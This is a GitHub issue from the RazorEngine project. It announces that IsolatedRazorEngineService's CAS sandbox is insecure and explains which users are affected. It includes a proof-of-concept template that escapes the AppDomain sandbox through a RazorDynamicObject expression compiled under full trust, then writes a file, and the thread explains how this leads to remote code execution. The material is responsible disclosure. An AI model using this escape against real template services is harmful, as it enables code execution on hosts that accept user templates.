Antaris/RazorEngine

Anouncement: Security with `IsolatedRazorEngineService`

Opened this issue ยท 4 comments

This issue is to inform everyone that IsolatedRazorEngineService, which uses CAS internally, should not be considered 'secure' anymore for various reasons:

In addition to the above the following code sample was reported to me as an issue of RazorEngine itself (thanks @g2udevelopment):

        static void IsolatedRazorEngineService_BadTemplate_InSandbox_Escape()
        {
            using (var service = IsolatedRazorEngineService.Create(SandboxCreator))
            {
                string file = Path.Combine(Environment.CurrentDirectory, Path.GetRandomFileName());
 
                string template = @"
                @using System.IO
                @using RC = RazorEngine.Compilation
                @{
                System.Linq.Expressions.Expression<System.Action> exp = () => File.WriteAllText(""$file$"", ""BAD DATA"");
                dynamic d = (RC.RazorDynamicObject)RC.RazorDynamicObject.Create(exp);
                System.Action a = d.Compile();
                a();
                }".Replace("$file$", file.Replace("\\", "\\\\"));
                Assert.DoesNotThrow(() =>
                {
                    service.RunCompile(template, "test");
                });
 
                Assert.IsTrue(File.Exists(file));
            }

If you depend on IsolatedRazorEngineService for security I'd urge you to redesign your security. If you need a fast fix, you can use the attached patch (0001-Not-so-Safe.zip) and compile RazorEngine yourself (however, you will not longer be able to use 'dynamic' with this patch).

Just to clarify, you are only affected by this IF:

  • you currently use IsolatedRazorEngineService and use CAS to control the template permissions
  • if users can externally control the template contents

If you use RazorEngine for E-Mail generation or templating Engine (documentation generation, ...) you are most likely not directly affected by this issue, even if you use IsolatedRazorEngineService as long as you use RazorEngine 'correctly'. Correct usage means
that you don't allow direct user input to parts of the template. This mistake can happen if you use for example by string concatenation instead of using @ Syntax-Elements. Just to remind you: If you use string concatenation to build your template with untrusted user inputs, you allow your users to execute code on your system. This is most likely not what you want with or without Isolation!

Here is some more technical detail about the vulnerability.

It is possible to escape the AppDomain sandbox created by the IsolatedRazorEngine by creating a RazorDynamicObject which contains an expression. When this expression is compiled, the Compile() method is called in the security context of RazorEngine (Full-trust) and with a unrestricted security permission on the stack. .NET generates an anonymous assembly with this security information on the stack.

When the resulting delegate is called it is possible to call any .NET code without the restriction of the sandbox (which leads to RCE).

Are there any plans to release a stable package with a fix?

Ref https://security.snyk.io/vuln/SNYK-DOTNET-RAZORENGINE-2419026

The vulnerability issue is for IsolatedRazorEngine only or it is for RazorEngineService as well.

The vulnerability issue is for IsolatedRazorEngine only or it is for RazorEngineService as well.

With RazorEngine itself you can already execute any template with any code. The vulnerability is related to the AppDomain isolation